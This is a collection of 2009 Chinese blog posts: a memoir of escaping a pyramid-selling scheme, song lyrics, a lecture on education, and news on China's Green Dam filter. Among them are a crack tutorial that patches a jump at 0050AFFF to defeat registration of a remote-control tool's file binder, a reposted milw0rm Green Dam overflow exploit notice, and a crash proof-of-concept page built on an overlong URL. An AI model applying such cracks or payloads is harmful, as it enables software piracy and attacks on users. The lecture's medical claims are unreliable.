这些所谓的经理每个人的口才都很不盖，自然史经过了长期的磨练，进去后问我对这个行业理解了多少。我说还是迷迷糊糊的。小田说我买了票准备回家的。她就说，现在走了多可惜啊，你还没对这个事儿了解清楚呢。首先我说明下我们这个行业是来去自由的行业，你随时可以走，你感觉不想听了，现在走也可以，我自然不会马上走。那样可能会导致其他的后果。同样我已经知道所谓的连锁销售是什么东西，中午吃饭的时候已经用手机查过了，不过是升级版的传销而已，加了一个冠冕堂皇的名字。又把传销的历史说了一遍。说国家引进这个项目已经有十一年的历史了，之所以没有听说过是因为国家的低调宣传。如果你不亲自来是不会接触到这个事儿的。也不会了解这是个什么样的事儿，还事儿还是坏事儿。历史都是发展进步的，每个事物都是有萌芽期成长期，成熟期衰退期的。我们现在这个行业就是出于萌芽期。国内的人不了解，不理解。但是所有的事物都是有不了解到了解。由不理解到理解。正式那些有胆量有魄力的人看到了这个事物的光明前景才会从事这个行业，也就是国家为什么引进这个行业。引进说明这个行业能够解决国内经济发展的弊端，能够从根本上杜绝腐败和贪污受贿，甚至推广成功可以杜绝假货的存在。我们这个行业也是来去自由的行业，你什么时候走都可以。我们从开始到六位数最快的只需要八个月的时间。六位数你感觉多么？对于有的人来说六位数很自然，但是对于有的人说六位数是天文数字，一个农民面朝黄土背朝天的可能一辈子才能拿到六位数，但是有的人呢？一个月就能拿到。这也就是国家给每个人发放的机会，这样的机会是从中央直接发放到老百姓的手中。不经过中间的任何环节。这样的利益是最直接的。以前改革开放的口号是先让一部分人富起来，带动其他的人。现在是让底层的人先富起来然后带动全面实现小康水平。这就是国家引入这个新兴行业的目的。是为了让国家的大多数人尽快富起来，是为了支持西部大开发。古人说过国家兴亡匹夫有责，现在就是我们尽责的机会，就是我们为国家效力的机会。现在你花费几天的时间来考察这个事儿，感觉看看适合不适合你，感觉不适合你随时可以走。感觉适合你可以留下来，来拿六位数。以后即使你走了你的资产可以继承给你的亲人或者朋友，这是一个来去自由的行业，随时可以走。另外假货的源头是什么？是利润，如果所有的东西都是直接由生产者到消费者手中，那样还会有假货么？我说没有。她就继续说什么我们要做的就是推广这样的模式，让假货无处藏身，让所有消费者从根本上杜绝假货，那样卖不出去自然也就不会有人生产了。你先不要着急走，花费几天的时间吧这个事儿考察清楚，用自己的大脑思维下，看看到底这个事儿是不是我说的那样是好事，是由胆量有魄力，有耐心的人做的事儿。是不是可以拿到六位数。我们这个行业就像白开水这样透明，清澈透底，什么都是清清楚楚的。这就是桌子上的五杯白开水的寓意所在。自然每个人都有很多的话我记不清楚了。还有很多，本来是想用手机把那些东西录下来的，但是怕会成为他们的证据而对我不利。于是没有录音，单凭自己内心的记忆，想起来了上面的那么多。如果想知道具体什么情形的话可以搜索下连锁销售，所有的洗脑模式都是差不多的。这是我见得第四个经理。结局也是同样的动作。手机，结束。
开始一段时间后暴风雨终于还是来临了，到处都是水流成河。没有雨伞，根本不可能出去的。和小天来到楼下，到处都是水的，小田打电话让别人送来了雨伞和拖鞋换上之后终于出去打的回到了住处。回到住处后还是吃饭打牌，晚上和他们打了一段时间后有人想打，我就下来了，青海的那哥们说出去坐坐。我自然知道目的是什么。就过去，刚开始是天南地北的胡说八道，最后终于还是扯到了那个话题上。说我走了很可惜，说你来这里就是相信田哥，问我知道是谁把他带来的么，我说不知，他说是他的一个朋友。来的时候也是这样，作为一个新生事物都是由不理解到理解，由不熟悉到熟悉。然后就开始苦口婆心的劝我。我说我有自己的想法。我就把自己的想法说给他。他见没什么效果也就不说了。
晚上睡觉的时候小田又说了很多，说这个新生事物啊，需要几天的时间来了解，你看我把你弄到这里来，让你花了路费明天就要回去了。很可惜啊。我感觉你还是看完再走。我没说什么。说你看他们那些人文化程度都不高，现在需要的就是你们这样的人才来从事这个行业。现在社会就是那么现实，那么残酷，现在做这样的事情，只要不违法，能挣钱就行。刚开始我来的时候也感觉像传销，我和我媳妇打电话和他们说，后来花时间了解了这个事儿，发现不是那样，我又费了好的的时间和我媳妇解释清楚。这个事儿啊，新生事物了解需要一定的时间。你看你现在还没了解完就走了多可惜啊，你可以了解完了之后走，那样你以后遇到这样的事儿可以说这样的事儿不适合我，也就不用了解了。这个事儿你不来就什么也不知道，我和你说你也不会信的。就算我和你说我现在从事连锁销售每个月挣六位数你信么？你肯定不信，我如果不说是什么事情我说我在干物流现在这样的话你不就来了么？我感觉这是个好事儿，所以才让你来看看，但是这样的事儿对每个人不一定都合适，所以你还是话几天的时间仔细了解这个事儿，考察清楚这个事儿，这样对自己也是一个交代。你看现在和我在一起的那些有的是他的父母叫来的，有的是他的姐妹，兄弟叫来的，不都是好好的么？如果不是好事，如果违法乱纪还有那么多人做么？我刚来的时候我也很生气，整天让我做这些我说现在都什么年代了，这不就是传销么？你看看你们的熊样，我就想揍他们。现在你看我不是对这个事儿也了解清楚了，也知道怎么回事了，事情就是这样，你不来就什么也不是到，国家就是这么做的，你看低调宣传，你不来永远不可能了解到这么个事儿。你知道哈佛大学么？我说知道，在学校听人说过，这里说的哈佛大学不是所谓的美国的也不是哈尔滨佛学院，而是西部的一个所谓的哈佛大学。再他们的眼里就是能学习还能挣钱的地方。我说只是知道这么个名字至于是什么就不知道了。他说这就是所谓的哈佛大学，在这里能学到很多的东西，在学校学不到的。我们这里培养的都是高素质的人才，高素质的商人。现在的人都没人情味，我们要的就是找回人们的人情味，你看我们这里的人都很热心都很客气吧。我刚来的时候他们对我也是这么热心我感觉他们就是有目的，至于是什么就不清楚了，最后发现他们都是没有目的的。小钟啊，我感觉你还是花几天的时间把这个事儿了解清楚。有很多人走了又后悔了。他不知道我当时的心思只是想离开那个地方。只要能到火车站就好了。
说了很久最后终于睡觉了。
又是漫长的一夜。
第三天上午还是那样的事情，上午吃过饭说出去下，我自然知道做什么，去就去吧。也不差那个，路上是另外的那个叫德福的所谓的大学生进行的教育，那个人是招远的，据他自己说。而两个女孩子则都是潍坊高密的。这就是大概的成员分布，三个是潍坊临朐的，也就是邻县的。也就是说所有的人都是潍坊的除了那个青海的。那天上午见得那个人也是临朐的。他说的那些我不懂，我也不知道，也不清楚他说的是真的假的。他说的都是他的一些什么故事。大部分都是虚构的吧。包括油田，包括大庆，甚至还有铁人，有军队。还有内蒙的石油管线工程，这些我都无从考证，也记不清楚了。只记得他说他是他你女儿的后爸，并且现在她女儿也在这里，甚至职位比他高，他现在做了快两年了，查两个月就可以回去了，至于为什么这个不清楚。后来终于说到了正题，说中午回去会让我看些书面性的材料，然后看看所谓的产品我知道这就是快到最后的地步了。个人感觉。那样对所谓的连锁销售就有了一个整体的认识了。
只不过中午我回去吃过饭就去了火车站。他们知道强制留下我会造成很大的麻烦。但是他们还是希望留下我进行继续洗脑，让我以为他们做的就都是对的好的哦。视为国家做贡献。是伟大的行为，是为了西部大开发。最后一次洗脑回去的路上那个德福还是苦口婆心的劝我，说什么以后不希望看到他成功了，而我在招聘会上。我说不会的，我不会去招聘会的。说什么走了很可惜，还是那些新生事物的一通。中午吃完饭下午走的时候是青海的那个所谓的大学生一起去的。说什么走了很可惜还是一直想让我回去，既然好不容易出来自然不能回去。终于到了火车站。他们让我走也是要看着我上了火车再走的，可能是怕我去报警吧。
上了火车之后给女友和家里人发了个短信，打了个电话，算是结束了这次襄樊之旅。以上的文字都是凭自己的记忆写的，很多的东西都记得不清楚了，一晚上就这么大了大约两个小时吧。1w多字，很累，这么累但是记下来。如果有相同的情况那么快离开。南方的所谓的物流，工程，老板都是搞连锁销售的。如果有其他的情节可以搜索下连锁销售，应该很多的文章的。至于是好是坏就自己判断吧。
版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

英雄泪

2009-06-18T23:40:00.000+08:00

云里去,风里来
带着一身的尘埃
心也伤,情也冷,泪也干
悲也好,喜也好
命运有谁能知道
梦一场,是非恩怨
随风飘
看过冷漠的眼神
爱过一生无缘的人
才知世间人情永远不必问
热血在心中沸腾
却把岁月刻下伤痕
回首天已黄昏,有谁在乎我
山是山,水是水
往事恍然如云烟
流浪心已憔悴
谁在乎
英雄泪……

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

破解牧民战天会员捆绑器

2009-06-15T22:02:00.004+08:00

今天下载了一个牧民个人版远控。里面有个会员捆绑器。需要注册，研究了下。peid无壳，直接w32dasm载入就能看到提示信息。不过能这么搞的软件已经少之又少了。

OD载入直接根入到50afa0就可以看到关键代码了。


0050AFD4   |.  E8 2BFBFFFF      call 复件_牧?0050AB04
0050AFD9   |.  8B45 EC          mov eax,dword ptr ss:[ebp-14]
0050AFDC   |.  50               push eax
0050AFDD   |.  8D55 DC          lea edx,dword ptr ss:[ebp-24]
0050AFE0   |.  8B83 B0030000    mov eax,dword ptr ds:[ebx+3B0]
0050AFE6   |.  E8 FDCAF7FF      call 复件_牧?00487AE8
0050AFEB   |.  8B45 DC          mov eax,dword ptr ss:[ebp-24]
0050AFEE   |.  8D55 E0          lea edx,dword ptr ss:[ebp-20]
0050AFF1   |.  E8 1ED5EFFF      call 复件_牧?00408514
0050AFF6   |.  8B55 E0          mov edx,dword ptr ss:[ebp-20]
0050AFF9   |.  58               pop eax
0050AFFA   |.  E8 A994EFFF      call 复件_牧?004044A8
0050AFFF       0F85 A3000000    jnz 复件_牧?0050B0A8   //这一行直接nop掉就可以了。
0050B005   |.  6A 40            push 40                                            ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
0050B007   |.  68 38B15000      push 复件_牧?0050B138                                 ; |Title = "提示"
0050B00C   |.  68 60B15000      push 复件_牧?0050B160                                 ; |Text = "恭喜,注册成功!"
0050B011   |.  6A 00            push 0                                             ; |hOwner = NULL
0050B013   |.  E8 D0BDEFFF      call                      ; \MessageBoxA
0050B018   |.  C605 581C5200 01 mov byte ptr ds:[521C58],1
0050B01F   |.  BA 78B15000      mov edx,复件_牧?0050B178
0050B024   |.  8B83 B4030000    mov eax,dword ptr ds:[ebx+3B4]
0050B02A   |.  E8 4D01F4FF      call 复件_牧?0044B17C
0050B02F   |.  33D2             xor edx,edx
0050B031   |.  8B83 B4030000    mov eax,dword ptr ds:[ebx+3B4]
0050B037   |.  8B08             mov ecx,dword ptr ds:[eax]
0050B039   |.  FF51 64          call dword ptr ds:[ecx+64]
0050B03C   |.  33D2             xor edx,edx
0050B03E   |.  8B83 AC030000    mov eax,dword ptr ds:[ebx+3AC]

修改方法
0050AFFF 0F85 A3000000 jnz 复件_牧?0050B0A8 //这一行直接nop掉就可以了。
任意注册码注册成功，效果图。

注册后功能是没有缺失的。
猛击此处下载源文件破解文件。
版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

郎咸平教授谈教育

2009-06-14T09:39:00.000+08:00

郎咸平教授：我非常喜欢你的问题，我从第三个开始回答。我教育子女是非常成功的。非常成功的，第一，我的大儿子，没念过本科，专科，我根本不在乎，我没有丝毫的愧疚，不好意思我儿子没有读过本科。我儿子是混世魔王，没有念过多少书，但是他这一生什么都不听我的，包括结婚都不听我的，我特别狠，但是他的前途规划他非常听我的。我拿我二儿子做比较，他比较笨，遗传他妈妈，念这个数学总是不灵光，我叫他念什么吗？我要他，他在美国长大的，英文就是美国人的英文，中文还可以，我要他去念你们想不到的两个语文，一个是韩文，一个是日文，你知道什么目的吗？我已经看准了，取代日本，成为经济强权的不是中国，而是韩国。现在学韩文和日文再加上英文和中文的背景，他一定会成为稀缺人才，这叫什么？差异化。但是也付出了惨痛的代价，他现在学了韩文一年，就认识了一个韩国女朋友，眼睛这么小，我们郎咸平教授遗传大眼睛，我看下一代就没了。
　　
　　　　我大儿子做什么的呢？他是做修理汽车的。就是改装汽车的。为什么做这个？也是跟我今天演讲有关想一想，在二元经济环境里面，企业找不到机会，炒楼炒股，你有没有想到为什么古董和普洱茶价格这么攀升？见到什么炒什么？时间越久，价格越高。我告诉我大儿子事情，你做汽车改装，要抓住这个潮流，很多人愿意买一部奥迪或者大众，再花20万，把内部零件和马达重新做改装，比如一个排气管改成四个排气管，换掉一些里面的配件，什么都看不出来，速度奇快，这就是掌握了虚拟资金的动向。大家会愿意花钱去买古董，普洱茶，也愿意花20万做汽车改装，你当时真正的理解了我今天的演讲，包括我对这个纺织朋友做的演讲，你回去思考一下，你如何教育子女，不要走传统的道路，我从来不让他们念数学。我自己数学好得不得了。我也从来不让他们念研究生，但我儿子说，他想念研究生的话，我一定痛骂他一顿，我的学历是最高的，但是我是例外，我的创造力没有被扼杀，我对这两个子女的教育，老大比较聪明，老二比较笨。老大可以在汽车改造上面发挥创造力，能够帮助你改装汽车，通过车检，笨的那一个就是走一条稳当的道路，差异化。差异化本身就是一门学问。你让他形成差异化，差异化不是去念研究生。理解我乐观意思吗？至于你讲的股市预测，你必须得原谅我，今天是公开场合，我不能讲，怎么走，我一讲的话，后果不堪设想。你要理解我，但是我可以给你很肯定的讲一句话，上我课的人，只要现场没有录影的，没有记者在场的，我都会讲，而且我从来没有讲错，这次我为什么到处讲课非常火爆的原因，只说这个楼价的原因，我对着记者照讲，我对楼价的批评，是谁，假如说没有拐点，谁说上海楼价一定涨？一定是我，是我理解了二元经济的本质，那么江浙两地的价格一定涨，这是我对二元经济的评判。

郎咸平教授：我回答后面的问题，其实大家，我们的民营企业家，有一个很大的思想的误区，你总认为，家族控股是个问题，其实我告诉你，全世界的国家，除了美国，以及英国之外，基本上都是家族控股。包括加拿大、德国、法国都是的。而美国和英国，是例外。所以例外，是因为从1890年开始，美国政府，透过政府的力量，让大家族，退出了经济舞台，所以他们的公司才变成大众持股的公司。可是其他的国家没有这么做过。因此以全世界的格局而言，家族控股是正常的。在美国，之所以没有那么多的家族控股，是因为美国的政策，排挤大家族。如果家族控股是正常，你应该担忧什么呢？请问你们苏南的企业家，你担不担心富不过三代？你肯定担心。你因为担心，所以从小就让你的子女好好学习，弹钢琴，怎么怎么样，送出国念书，总希望他能够接下你的棒子，再请问你一句话，你觉得你做的对不对？我觉得这个题目啊，问题问的非常深远，我也想在这个时刻，和你们谈谈一些感性的问题，我可以清楚的告诉你，今天，中国的教育制度，它最大的问题在哪里？尤其我们企业家培养你的子女好好读书的时候，你要想一想教育制度的问题，不要傻傻的认为孩子读书是个必然，你要晓得，中国的教育体系，它基本上，是培养解题高手。而不是培养创造力。你们只要顺利的读完本科。你们在座的都读完本科没有？在座的？你们只要顺利的读完本科，就可以充分的证明你们是一群没有创造力的人，因为中国的教育制度培养的就是解题高手，这也是为什么合肥的中国科技大，他的少年班会失败，为什么失败呢？道理很明显，你在当年挑的高中、初中的学生都不是天才，是解题高手。那么你自己想一想，你有没有这种能力？把个解题高手拿过来经营你的企业，你能够成功吗？你想一想？未来的企业变化，包括我今天讲的产业链竞争，是何其的复杂？哪里是解题高手应付得了的呢？今天你让你的小孩高考，学钢琴，更可恨的是你逼你的小孩考奥林匹克竞赛，浪费他的生命，毁灭你的企业，这样他会变成一个好恶创造力的解题高手。那要问我了，送出国是不是好一点？我反问你，你送出国想学什么？你想学什么？
　　
　　　　我今天想跟你做个证明，你想的都是错的。首先问你一句话，你是不是认为，中国人是最聪明的民族？有多少人是这么认为的？我过去不成熟的时候也这么认为的，尤其是我们的学生，到了美国之后，一念起书来，名列前茅，美国人笨笨的，不行。像我们考智力测验，美国人特笨。上次考一个智力测验，他说这个题目好难啊，3＋X=2，X是几呢？想不出来，好笨，两个齿轮，这个这么转，另外一个怎么转呢？老美怎么都想不出来？这个这么转，另外一个怎么转呢？老中国就知道，这么转嘛，飞机这么一抖怎么飞？老美想不出来，老难啊，老中一下就知道了，往上飞嘛，老美说，哎呀，想不通啊。你知道吗？好笨啊，是这样子吗？我以前也这样认为老美的。我在20几岁的时候，告诉各位，中国的一流人才，基本上是念理工科，像我都是当初比较差的，才去念商科、经济，我在高中的时候，我如果稍微聪明一点的话，我也去念理工科去了，因为我的父母告诉我，学好数理化，走遍天下都不怕，你们有没有想到，这句话就是错的，胡说八道。你们想到的几乎都是错的，我跟你讲，为什么中国人到美国去，和美国人竞争，你这么优秀呢？我可以跟你讲，因为中国的一流人才是念理工科的，而美国的一流人才是不念理工科的，念什么？法，商，医，他们是三流人才才去念理工科，因此我们的一流人才碰到人家的三流人才，当然认为好聪明了。
　　
　　　　你连这个都不知道，你还敢把你的子女送出国来接替你的位置吗？我自己可以讲这句话，你看我聪明不聪明？我到了沃顿商学院，跑道我们班上的老美，真聪明这些人，到那个时候才发现自己怎么这么笨呢？我今天不讲法、商，美国总统都是拿的法学院出来的，美国的财政部长都是商学院出来的，我谈谈你们最熟悉的医学，我就谈医学的落后，你就知道，我们在其他方面的落后。一个排球巨星叫赵蕊蕊，脚经伤了，我们找了中国的骨科学家会诊，就是用保守疗法治疗之后，就可以出来打球了，结果一打球又断掉，当时姚明的经理找了一个美国的骨科医生在旁边监控，这位同志没有说话，只是不断的摇头叹气。为什么摇头叹气？因为中国的骨科水平是美国1935年的水平。这个医生最后在赵蕊蕊第二次断掉之后，美国人怎么治疗？美国人在膝盖打一个洞，用钛合金的骨头插到骨头里面去，一个礼拜就好了。我们的医生居然问了一句话，这么先进的技术，请问钛合金的骨头在那里买？怎么制造？我们美国的钛合金骨头都是从广州进口的。我哥哥在北京出了车祸，大腿骨骨折，这是我亲身经历，北京最好的骨科医院，从正面给你切开，这么多神经，骨头借好，在上面用钢钉打下去，治疗好之后我哥哥变成了一个瘸子，回到美国，当X光拍出来之后，这个医生立刻尖叫，哇，同志们，快过来看，这是中国骨科医生的水平，我们美国1935年的水平，这个医生从侧面把肌肉切开，把钉子拔开来，两个已经生锈了，把不锈钢拿出来，缝好肌肉，什么都不动，从屁股打一个洞，从广州进口的钛合金骨头，从屁股插进去，一个礼拜我哥哥就可以走路了，而且不再瘸了。我们香港的水平呢？我觉得，应该差美国15年，我们家人呢，毛病特多，有一个人，手腕摔断了，按照你们的想法，摔断了应该怎么样？接好，打上石膏，有没有反对的？你们就是这种水平。到现在还认为要打石膏，可见你们多落伍。我们香港是落后美国15年，是这么做的。
　　
　　　　骨科医生，拿出一张像皮肤颜色一样的纸，泡在热水里面5分钟之后，拿起来会这么软，然后就剪成一个手的形状包在一起，由于是一张纸张非常薄，包起来什么都看不出来，而且是肌肉的颜色，5分钟之后这张纸张就硬的像铁一样，紧抱着肌肉，袖子一卷什么都看不出来，不需要用石膏，因为用是国是1935年的技术，你知道吗？你们还认为是打石膏，可见你们的思想多么的不先进，多么僵化，就凭这个僵化的思想你想培养下一代，你连怎么培养都搞不清楚。你考奥林匹克竞赛，学钢琴，考高考，念了第一名之后，创造力完全丧失之后，到美国学理工科，学机械，制造，接你的企业，下场是什么？富不过三代，因为你自己的学问，跟你自己的理解，还不足以培养你的下一代。我今天这个话讲的比较难题了。所以跟你们讲，第一代的企业家，你的真正的危机在于思维的落后，就凭这种思维要培下一代，下一代，也很难有成就。就可以跟各位这么讲，从2008年之后的企业家，之所以能够成功，一定有非常国际接轨的视野，他才能成功。而且不是叫他学钢琴，考数学竞赛，不是，而是要理解什么才叫做真正的教育？我这么讲应该是非常深刻的，你们思考一下，家族企业不是问题，那只是表面现象，家族企业除了美英之外，全世界都是家族企业，人家为什么做的好？是他们理解了教育的本质，他们知道，如何培养下一代。好吗？你理解我今天这番话，回去之后，就不要再为家族企业烦恼，想一想，你这种水平，怎么培养下一代，告诉你。你连摔伤了，你连摔伤的时候，还停留在打石膏的水平，你怎么教育下一代？我告诉你，好吗？我可以跟各位讲，思维的创新，思维的开拓是这一代，家族企业，领袖的教育下一代的必胜法宝。
　　主持人：我们看多常州地区的家族企业经过这么多年的发展壮大，当年的父子辈领导也开始寻找接班人了，今天郎咸平教授告诉我们，我们找接班人，一定要让他们知道什么是真正的教育，思维上的创新和开拓，才能够是我们富过三代的法宝。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

China's Filtering Software Contains Pirated Code

2009-06-14T09:36:00.001+08:00

The "Green Dam" filtering software that the Chinese government is reportedly requiring for all PCs sold there contains pirated code, a U.S. software manufacturer claimed Friday.

Solid Oak Software, the developer of CyberSitter, claims that the look and feel of the GUI used by Green Dam mimics the style of CyberSitter. But more damning, chief executive Brian Milburn said, was the fact that the Green Dam code uses DLLs identified with the CyberSitter name, and even makes calls back to Solid Oak's servers for updates.

Green Dam is a piece of filtering software that will reportedly be required for all PCs sold inside China. The software is already available in China, although the restrictions go into place on July 1, according to The New York Times.

According to a study by the University of Michigan, the Green Dam software works to identify images, text, and URLs and compares them to a filter, which blocks the offending work. The researchers took the publicly available software and reverse-engineered it, using standard methods. Inside, the study's author, assistant professor of electrical engineering J. Alex Halderman, found evidence that the software uses blacklists compiled by CyberSitter, dating back to 2006. An encrypted news bulletin, which dates back to 2004, was also accidentally included, Halderman wrote.

"We've been talking with them since the report came out yesterday," Halderman said in an interview.

To Halderman, the Green Dam software presents two fundamental problems: one, that the software contains vulnerabilities that would allow others to spy on the activities of those who use it; and second, that it might contain code stolen from another manufacturer. The Chinese developer of the Green Dam software appears to have accidentally created the vulnerabilities, Halderman said, rather than being a deliberate attempt to allow government agencies to monitor its citizens online.

"If we apply reasoning to this, we would conclude that the government wants a backdoor it could access, and others could not," Halderman said.

Version 3.17 of the Green Dam software appears to contain both the references to the blacklists as well as the allegedly stolen code. But the software is also being frequently updated, and the most recent patch, applied Thursday, appears to eliminate many of the blacklist references to Solid Oak, Halderman said.

"I think the bottom line is that the Chinese government is trying to roll out the software without doing their due diligence," Halderman said. "Clearly, there needs to be more time to evaluate the software both in terms of legality and in terms of security before it is rolled out on a widespread basis."

That was small consolation to Solid Oak's Milburn, who said that he had received an anonymous email sent to a broadcast address at the site Friday morning alerting the company that Green Dam was using Solid Oak code. He dismissed it, thinking it was a hoax. But another employee researched it and found that the allegation was indeed true, and that both URLs and other Solid Oak code, including DLL files, were part of Green Dam. After doing a bit of research he found the U. of Michigan paper and contacted Halderman.

"From the stuff they've posted, I'm 100 percent certain they're using our proprietary code," Milburn said, who said he wasn't certain how much of the code was reverse-engineered or simply stolen.

"We're still trying to do the detective work here," Milburn said.

At press time, Solid Oak had determined that the filtering engine or parts of it on lower level had been decompiled, using certain proprietary methods. Solid Oak doesn't ship a Chinese-language version of CyberSitter. But, Milburn said, "the words a user sees on the screen are almost identical to ours."

According to Milburn, the company spent Friday trying to determine what its options were, and what avenues it could pursue to try and prevent its code from being misused.

According to The New York Times, PC OEMs were blindsided by the Green Dam requirement, and have tried to figure out how they could add the software to their production lines just six weeks before the mandate was scheduled to take place. Dell, Hewlett-Packard, and other OEMs would be required to add the software to their PC distributions.

But would they if it contributed to software piracy? "To my mind, [shipping Green Dam] would make the PC manufacturers an accessory after the fact to software piracy," Milburn said. "I would think that the PC manufacturers wouldn't want to do that if I were in their position."

"We haven't had any opportunity to explore our options," Milburn said. "At the very minimum, I believe we would pursue some sort of injunction."

Theoretically, this could place PC OEMs wishing to do business in China with a nearly impossible choice: face the threat of an injunction or suits within the United States, risk angering the Chinese government by removing the Green Dam software, or halt PC sales into China altogether. Representatives at Hewlett-Packard and Dell were unable to be reached for comment by press time.

This isn't the first time Solid Oak's code has been stolen, Milburn said. In the late 1990s, hackers reverse-engineered CyberSitter, which prevents underage children from accessing pornography or other adult content, to allow users to access such content.

The hackers, as well as other detractors, have previously accused Solid Oak and CyberSitter of censoring the Internet. "That's why we don't want to be associated with it," Milburn said of Green Dam.

Moreover, potentially millions of Chinese PC users could hit Solid Oak's servers for updates, causing them huge fees for the additional bandwidth costs the company would be charged for.

One obvious solution to the problem would be to block access to China, a move that would also cut off a number of American schools in China, including missionary schools, that use the software as a legitimate means of preventing children from accessing the adult content. Some organizations with satellite offices in Singapore, Korea, or other South Asian countries might also be affected.

"They're using it legitimately, and we don't want to turn off the entire continent," Milburn said.

http://www.pcmag.com/article2/0,2817,2348705,00.asp

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

Green Dam remote buffer overflow exploit

2009-06-13T09:50:00.000+08:00

"Green Dam" is a software used for monitoring and anti-pornography, popularizing by
Chinese goverment. After July 1st, it will be forced to install on all new Chinese PCs.
Now it already has 50 million copies in China.
In order to monitor the URL that user is exploring, Green Dam injected the browser
process. When Green Dam is trying to handle a long URL, a stack overflow will occur in the
browser process.
This exploit can be used for exploitation on IE, on those computers installed Green Dam.
I used the .net binary to deploy shellcode, for it`s more stable than Heap Spray, and able
to bypass DEP and ASLR on Vista.
The exploit page contains a .net control, so it should be published on IIS.
---seer[N.N.U]

http://milw0rm.com/sploits/2009-green-dam.zip

# milw0rm.com [2009-06-12]

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

绿坝被老外爆严重安全问题

2009-06-12T18:00:00.001+08:00

绿坝被老外爆严重安全问题，根据下面链接的描述，安装绿坝后只需要访问一个特定的URL就会被溢出执行恶意代码。

http://www.cse.umich.edu/~jhalderm/pub/gd/

PS:

被和谐的POC代码

--------我是和谐分割线---------------------------------------------------------------------


<html>
<head>
<title>Green Dam Vulnerability Demonstration</title>
</head>
<body>
<p>If you're running Green Dam, clicking this button should crash your browser or tab.</p>
<p>See our <a href="http://www.cse.umich.edu/~jhalderm/pub/gd/">report</a> for details about Green Dam security vulnerabilities.</p>
<center>
<input style="font-size:120%;" type="button" name="demo1" value="Crash Browser!" onclick="javascript:window.location='http://wolchok.org:8000/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.html'"></input>
</form></center>
</body>

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

工信部过滤软件 “杀错良民”闹笑话

2009-06-12T09:00:00.000+08:00

